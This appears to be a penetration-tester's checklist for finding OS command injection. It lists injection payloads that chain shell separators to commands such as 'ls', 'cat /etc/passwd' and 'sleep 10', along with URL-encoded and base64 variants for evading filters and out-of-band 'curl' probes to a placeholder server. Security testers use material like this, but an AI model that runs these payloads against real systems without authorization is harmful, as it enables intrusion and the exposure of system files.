-
Initial Information Gathering
- Identify and map all endpoints that accept user input which could be used to execute system commands.
- Review source code (if available) to understand how user inputs are handled.
- Check for user inputs in URLs, form fields, headers, and request bodies that interact with the operating system.
-
Basic Command Injection Testing
- Test with simple command injection payloads to identify vulnerabilities:
-
; ls -
| ls -
&& ls -
|| ls -
$(ls)
-
- Test with simple command injection payloads to identify vulnerabilities:
-
Advanced Command Injection Techniques
- Test for bypassing input validation and filtering:
-
; cat /etc/passwd -
| cat /etc/passwd -
&& cat /etc/passwd -
|| cat /etc/passwd -
$(cat /etc/passwd)
-
- Use encoding to bypass filters:
- URL encoding:
%3B%20ls - Double URL encoding:
%253B%2520ls - Base64 encoding:
Y2F0IC9ldGMvcGFzc3dk
- URL encoding:
- Test for time delay to identify blind command injection:
-
; sleep 10 -
| sleep 10 -
&& sleep 10 -
|| sleep 10 -
$(sleep 10)
-
- Test for bypassing input validation and filtering:
-
Out-of-Band (OOB) Command Injection
- Set up an OOB endpoint to detect blind command injection:
-
; curl http://[YOUR_SERVER]/ping -
| curl http://[YOUR_SERVER]/ping -
&& curl http://[YOUR_SERVER]/ping -
|| curl http://[YOUR_SERVER]/ping -
$(curl http://[YOUR_SERVER]/ping) -
\curl http://[YOUR_SERVER]/ping
-
- Set up an OOB endpoint to detect blind command injection:
-
Command Injection in Different Contexts
- Test command injection in file paths:
-
/path/to/file; ls -
/path/to/file| ls -
/path/to/file&& ls
-
- Test command injection in environment variables:
-
ENV_VAR="value; ls" -
ENV_VAR="value| ls" -
ENV_VAR="value&& ls"
-
- Test command injection in configuration files:
-
config_option=value; ls -
config_option=value| ls -
config_option=value&& ls
-
- Test command injection in file paths:
-
Error Handling and Response Analysis
- Analyze server responses for clues about command injection vulnerabilities.
- Look for error messages that disclose command execution results or system information.
- Verify if application stack traces are exposed in responses.